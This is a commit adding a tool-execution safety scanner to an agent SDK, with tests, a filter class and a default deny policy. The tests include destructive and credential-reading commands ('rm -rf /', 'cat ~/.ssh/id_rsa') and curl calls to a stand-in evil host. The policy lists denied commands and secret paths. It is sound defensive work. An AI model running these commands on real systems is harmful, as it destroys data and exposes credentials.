Skip to content

Commit cca2a04

Browse files
committed
feat(safety): add tool execution safety scanner
Core scanner engine with: - Policy-driven scanning (DeniedCommands/DeniedPaths/NetworkAllowlist/ReviewCommands) - Shell command analysis (pipeline detection, secret redaction, shell bypass) - Code block safety checks (bash, python with subprocess detection) - 12 core test cases aligned with Go reference implementation - 500-line batch scan verified < 1s - Filter integration via ToolSafetyFilter (FilterABC subclass) 34 tests passed. Mirrors trpc-agent-go/tool/safety/. Signed-off-by: coder-mtj <coder-mtj@users.noreply.github.com>
1 parent 0c5f8a8 commit cca2a04

7 files changed

Lines changed: 967 additions & 0 deletions

File tree

tests/tools/safety/test_scanner.py

Lines changed: 128 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,128 @@
1+
# Tencent is pleased to support the open source community by making
2+
# tRPC-Agent-Python available.
3+
#
4+
# Copyright (C) 2026 Tencent. All rights reserved.
5+
#
6+
# tRPC-Agent-Python is licensed under Apache-2.0.
7+
8+
"""Core scanner tests — 12 required samples + edge cases."""
9+
10+
import pytest
11+
from trpc_agent_sdk.tools.safety._types import (
12+
Request, CodeBlock, DECISION_ALLOW, DECISION_DENY,
13+
DECISION_ASK, DECISION_NEEDS_HUMAN_REVIEW,
14+
RISK_LOW, RISK_HIGH, RISK_CRITICAL,
15+
)
16+
from trpc_agent_sdk.tools.safety._policy import default_policy
17+
from trpc_agent_sdk.tools.safety._scanner import scan
18+
19+
20+
POLICY = default_policy()
21+
22+
23+
# ========== 12 core test cases (aligned with Go reference) ==========
24+
25+
def test_safe_go_test():
26+
report = scan(Request(tool_name="workspace_exec", backend="workspaceexec", command="go test ./..."), POLICY)
27+
assert report.decision == DECISION_ALLOW
28+
29+
def test_dangerous_delete():
30+
report = scan(Request(tool_name="workspace_exec", backend="workspaceexec", command="rm -rf /"), POLICY)
31+
assert report.decision == DECISION_DENY
32+
assert report.rule_id == "dangerous.rm_rf"
33+
34+
def test_read_key():
35+
report = scan(Request(tool_name="workspace_exec", backend="workspaceexec", command="cat ~/.ssh/id_rsa"), POLICY)
36+
assert report.decision == DECISION_DENY
37+
assert report.rule_id == "sensitive.path_access"
38+
39+
def test_non_whitelist_network():
40+
report = scan(Request(tool_name="workspace_exec", backend="workspaceexec", command="curl https://evil.example/install.sh"), POLICY)
41+
assert report.decision == DECISION_DENY
42+
assert report.rule_id == "network.non_whitelisted_domain"
43+
44+
def test_whitelist_network():
45+
report = scan(Request(tool_name="workspace_exec", backend="workspaceexec", command="curl https://api.github.com/repos/x/y"), POLICY)
46+
assert report.decision == DECISION_ALLOW
47+
48+
def test_shell_bypass():
49+
report = scan(Request(tool_name="workspace_exec", backend="workspaceexec", command="bash -c 'curl https://evil.example/x'"), POLICY)
50+
assert report.decision == DECISION_DENY
51+
assert report.rule_id == "shell.bypass"
52+
53+
def test_pipeline_review():
54+
report = scan(Request(tool_name="workspace_exec", backend="workspaceexec", command="cat README.md | wc -l"), POLICY)
55+
assert report.decision == DECISION_NEEDS_HUMAN_REVIEW
56+
assert report.rule_id == "shell.pipeline_review"
57+
58+
def test_dependency_install():
59+
report = scan(Request(tool_name="workspace_exec", backend="workspaceexec", command="npm install left-pad"), POLICY)
60+
assert report.decision == DECISION_NEEDS_HUMAN_REVIEW
61+
assert report.rule_id == "dependency.environment_change"
62+
63+
def test_long_sleep():
64+
report = scan(Request(tool_name="workspace_exec", backend="workspaceexec", command="sleep 9999"), POLICY)
65+
assert report.decision == DECISION_NEEDS_HUMAN_REVIEW
66+
assert report.rule_id == "resource.long_sleep"
67+
68+
def test_hostexec_long_session():
69+
report = scan(Request(
70+
tool_name="exec_command", backend="hostexec",
71+
command="tail -f app.log", tty=True, background=True,
72+
), POLICY)
73+
assert report.decision == DECISION_NEEDS_HUMAN_REVIEW
74+
assert report.rule_id == "hostexec.long_session"
75+
76+
def test_code_block_host_bridge():
77+
report = scan(Request(
78+
tool_name="execute_code", backend="codeexec",
79+
code_blocks=[CodeBlock(language="python", code="import subprocess; subprocess.run(['ls'])")],
80+
), POLICY)
81+
assert report.decision == DECISION_NEEDS_HUMAN_REVIEW
82+
assert report.rule_id == "codeexec.host_command_bridge"
83+
84+
def test_secret_leak():
85+
report = scan(Request(
86+
tool_name="workspace_exec", backend="workspaceexec",
87+
command="echo OPENAI_API_KEY=sk-1234567890abcdef",
88+
), POLICY)
89+
assert report.decision == DECISION_DENY
90+
assert report.rule_id == "sensitive.secret_leak"
91+
92+
93+
# ========== Edge case tests ==========
94+
95+
def test_empty_command():
96+
report = scan(Request(tool_name="workspace_exec", backend="workspaceexec", command=""), POLICY)
97+
assert report.decision == DECISION_DENY
98+
assert report.rule_id == "command.empty"
99+
100+
def test_denied_cwd():
101+
report = scan(Request(tool_name="workspace_exec", backend="workspaceexec", command="ls", cwd="~/.ssh"), POLICY)
102+
assert report.decision == DECISION_DENY
103+
assert report.rule_id == "sensitive.cwd_access"
104+
105+
def test_chmod_recursive():
106+
report = scan(Request(tool_name="workspace_exec", backend="workspaceexec", command="chmod -R 777 ."), POLICY)
107+
assert report.decision == DECISION_NEEDS_HUMAN_REVIEW
108+
assert report.rule_id == "dangerous.recursive_chmod"
109+
110+
def test_500_line_scan_under_1s():
111+
import time
112+
code = "\n".join(['print(f"line {i}")' for i in range(500)])
113+
start = time.time()
114+
report = scan(Request(
115+
tool_name="execute_code", backend="codeexec",
116+
code_blocks=[CodeBlock(language="python", code=code)],
117+
), POLICY)
118+
elapsed = time.time() - start
119+
assert elapsed < 1.0, f"500-line scan took {elapsed:.2f}s"
120+
assert report.decision == DECISION_ALLOW
121+
122+
def test_unicode_command():
123+
report = scan(Request(tool_name="workspace_exec", backend="workspaceexec", command="echo 你好世界"), POLICY)
124+
assert report.decision == DECISION_ALLOW
125+
126+
def test_none_policy_defaults():
127+
report = scan(Request(tool_name="workspace_exec", backend="workspaceexec", command="echo hi"), None)
128+
assert report.decision == DECISION_ALLOW
Lines changed: 33 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -1,4 +1,37 @@
11
# Package safety provides a pre-execution safety guard for command and
22
# code-execution tools.
33
#
4+
# Usage::
5+
#
6+
# from trpc_agent_sdk.tools.safety import scan, default_policy, ToolSafetyFilter
7+
#
8+
# policy = default_policy()
9+
# report = scan(Request(command="rm -rf /"), policy)
10+
# assert report.decision == DECISION_DENY
11+
#
412
# Mirrors trpc-agent-go/tool/safety/.
13+
14+
from ._types import (
15+
Decision, RiskLevel, Finding, Report, AuditEvent,
16+
Policy, Request, CodeBlock,
17+
DECISION_ALLOW, DECISION_DENY, DECISION_ASK, DECISION_NEEDS_HUMAN_REVIEW,
18+
RISK_LOW, RISK_MEDIUM, RISK_HIGH, RISK_CRITICAL,
19+
decision_rank, risk_rank, finding_beats,
20+
)
21+
from ._policy import default_policy, load_policy
22+
from ._scanner import scan
23+
from ._permission import ToolSafetyFilter, SAFETY_FILTER_NAME
24+
25+
__all__ = [
26+
# Types.
27+
"Decision", "RiskLevel", "Finding", "Report", "AuditEvent",
28+
"Policy", "Request", "CodeBlock",
29+
# Constants.
30+
"DECISION_ALLOW", "DECISION_DENY", "DECISION_ASK", "DECISION_NEEDS_HUMAN_REVIEW",
31+
"RISK_LOW", "RISK_MEDIUM", "RISK_HIGH", "RISK_CRITICAL",
32+
# Core API.
33+
"scan", "default_policy", "load_policy",
34+
"decision_rank", "risk_rank", "finding_beats",
35+
# Filter integration.
36+
"ToolSafetyFilter", "SAFETY_FILTER_NAME",
37+
]
Lines changed: 133 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,133 @@
1+
# Tencent is pleased to support the open source community by making
2+
# tRPC-Agent-Python available.
3+
#
4+
# Copyright (C) 2026 Tencent. All rights reserved.
5+
#
6+
# tRPC-Agent-Python is licensed under Apache-2.0.
7+
8+
"""Permission policy integration for the tool safety scanner.
9+
10+
Wraps the scanner as a tool-level Filter so that every tool
11+
invocation is checked before execution.
12+
"""
13+
14+
from __future__ import annotations
15+
16+
import json
17+
import logging
18+
from typing import Any
19+
20+
from trpc_agent_sdk.abc import FilterABC, FilterResult, FilterType
21+
from trpc_agent_sdk.context import AgentContext
22+
23+
from ._types import Request, CodeBlock, DECISION_DENY, DECISION_ALLOW
24+
from ._scanner import scan
25+
from ._policy import default_policy, Policy
26+
27+
logger = logging.getLogger(__name__)
28+
29+
SAFETY_FILTER_NAME = "tool_safety_guard"
30+
31+
32+
class ToolSafetyFilter(FilterABC):
33+
"""Pre-execution safety filter for tool calls.
34+
35+
Scans commands and code blocks before they are executed by
36+
workspace_exec, exec_command, or execute_code tools.
37+
"""
38+
39+
def __init__(self, policy: Policy | None = None) -> None:
40+
self._policy = policy or default_policy()
41+
self._name = SAFETY_FILTER_NAME
42+
self._type = FilterType.TOOL
43+
44+
@property
45+
def name(self) -> str:
46+
return self._name
47+
48+
@property
49+
def type(self) -> FilterType:
50+
return self._type
51+
52+
async def _before(
53+
self, ctx: AgentContext, req: Any, rsp: FilterResult,
54+
) -> None:
55+
"""Scan tool arguments before execution."""
56+
if req is None:
57+
return
58+
59+
scan_req = _to_scan_request(req)
60+
if scan_req is None:
61+
return # Not a scannable tool.
62+
63+
report = scan(scan_req, self._policy)
64+
65+
if report.decision == DECISION_DENY:
66+
rsp.error = PermissionError(
67+
f"Tool safety guard blocked: {report.recommendation}"
68+
)
69+
rsp.is_continue = False
70+
logger.warning(
71+
"safety_guard blocked tool=%s decision=%s rule=%s",
72+
scan_req.tool_name, report.decision.value, report.rule_id,
73+
)
74+
elif report.decision != DECISION_ALLOW:
75+
logger.info(
76+
"safety_guard %s tool=%s rule=%s",
77+
report.decision.value, scan_req.tool_name, report.rule_id,
78+
)
79+
80+
async def _after(
81+
self, ctx: AgentContext, req: Any, rsp: FilterResult,
82+
) -> None:
83+
pass # No post-execution check needed.
84+
85+
86+
def _to_scan_request(tool_req: Any) -> Request | None:
87+
"""Convert a tool invocation to a safety scan Request."""
88+
if not hasattr(tool_req, "tool_name"):
89+
return None
90+
91+
tool_name = getattr(tool_req, "tool_name", "")
92+
if tool_name not in ("workspace_exec", "exec_command", "execute_code"):
93+
return None
94+
95+
args_raw = getattr(tool_req, "arguments", None)
96+
if args_raw is None:
97+
return Request(tool_name=tool_name)
98+
99+
if isinstance(args_raw, bytes):
100+
args_raw = args_raw.decode("utf-8", errors="replace")
101+
if isinstance(args_raw, str):
102+
try:
103+
args_raw = json.loads(args_raw)
104+
except json.JSONDecodeError:
105+
pass
106+
if not isinstance(args_raw, dict):
107+
return Request(tool_name=tool_name)
108+
109+
command = str(args_raw.get("command", "") or args_raw.get("cmd", "") or
110+
args_raw.get("script", "") or args_raw.get("code", "") or "")
111+
code_blocks_raw = args_raw.get("code_blocks")
112+
code_blocks: list[CodeBlock] = []
113+
if code_blocks_raw:
114+
if isinstance(code_blocks_raw, list):
115+
for cb in code_blocks_raw:
116+
if isinstance(cb, dict):
117+
code_blocks.append(CodeBlock(
118+
language=str(cb.get("language", "")),
119+
code=str(cb.get("code", "")),
120+
))
121+
122+
return Request(
123+
tool_name=tool_name,
124+
command=command,
125+
cwd=str(args_raw.get("cwd", "") or args_raw.get("workdir", "")),
126+
env=args_raw.get("env") if isinstance(args_raw.get("env"), dict) else {},
127+
backend="hostexec" if tool_name == "exec_command" else
128+
"codeexec" if tool_name == "execute_code" else "workspaceexec",
129+
timeout_seconds=int(args_raw.get("timeout_sec", 0) or args_raw.get("timeout", 0) or 0),
130+
background=bool(args_raw.get("background", False)),
131+
tty=bool(args_raw.get("tty", False) or args_raw.get("pty", False)),
132+
code_blocks=code_blocks,
133+
)
Lines changed: 82 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,82 @@
1+
# Tencent is pleased to support the open source community by making
2+
# tRPC-Agent-Python available.
3+
#
4+
# Copyright (C) 2026 Tencent. All rights reserved.
5+
#
6+
# tRPC-Agent-Python is licensed under Apache-2.0.
7+
8+
"""Safety policy definitions. Mirrors trpc-agent-go/tool/safety/safety.go."""
9+
10+
from __future__ import annotations
11+
12+
import json
13+
import os
14+
from pathlib import Path
15+
16+
import yaml
17+
18+
from ._types import Policy
19+
20+
21+
def default_policy() -> Policy:
22+
"""Return a conservative default safety policy."""
23+
return Policy(
24+
denied_commands=[
25+
"dd", "mkfs", "mount", "umount", "shutdown", "reboot",
26+
"halt", "poweroff", "sudo", "su", "doas",
27+
],
28+
denied_paths=[
29+
"/", "/bin", "/boot", "/dev", "/etc", "/lib", "/lib64",
30+
"/proc", "/root", "/sbin", "/sys", "/usr", "/var",
31+
"~/.ssh", ".ssh", ".env", ".npmrc", ".pypirc",
32+
"id_rsa", "id_ed25519", "credentials", "credential",
33+
"secrets", "secret",
34+
],
35+
network_allowlist=[
36+
"api.github.com", "github.com", "proxy.golang.org",
37+
"sum.golang.org", "registry.npmjs.org", "pypi.org",
38+
"files.pythonhosted.org",
39+
],
40+
env_allowlist=[
41+
"PATH", "HOME", "TMPDIR", "TEMP", "TMP", "LANG", "LC_ALL",
42+
"CGO_ENABLED", "GOCACHE", "GOMODCACHE", "GOPATH",
43+
],
44+
review_commands=[
45+
"go install", "npm install", "npm ci", "pip install",
46+
"pip3 install", "apt install", "apt-get install",
47+
"brew install", "cargo install",
48+
],
49+
max_timeout_seconds=300,
50+
max_output_bytes=4 * 1024 * 1024,
51+
review_shell_pipelines=True,
52+
deny_on_parse_error=True,
53+
)
54+
55+
56+
def load_policy(path: str | Path) -> Policy:
57+
"""Load a JSON or YAML policy file, merging with defaults.
58+
59+
Args:
60+
path: Path to .json or .yaml/.yml policy file.
61+
62+
Returns:
63+
A Policy with file values overlaid on defaults.
64+
"""
65+
path = Path(path)
66+
raw_bytes = path.read_bytes()
67+
68+
if path.suffix.lower() in (".yaml", ".yml", ""):
69+
raw = yaml.safe_load(raw_bytes) or {}
70+
elif path.suffix.lower() == ".json":
71+
raw = json.loads(raw_bytes)
72+
else:
73+
raise ValueError(f"Unsupported policy extension: {path.suffix}")
74+
75+
# Start from safe defaults.
76+
policy = default_policy()
77+
78+
for key, value in raw.items():
79+
if hasattr(policy, key):
80+
setattr(policy, key, value)
81+
82+
return policy

0 commit comments

Comments
 (0)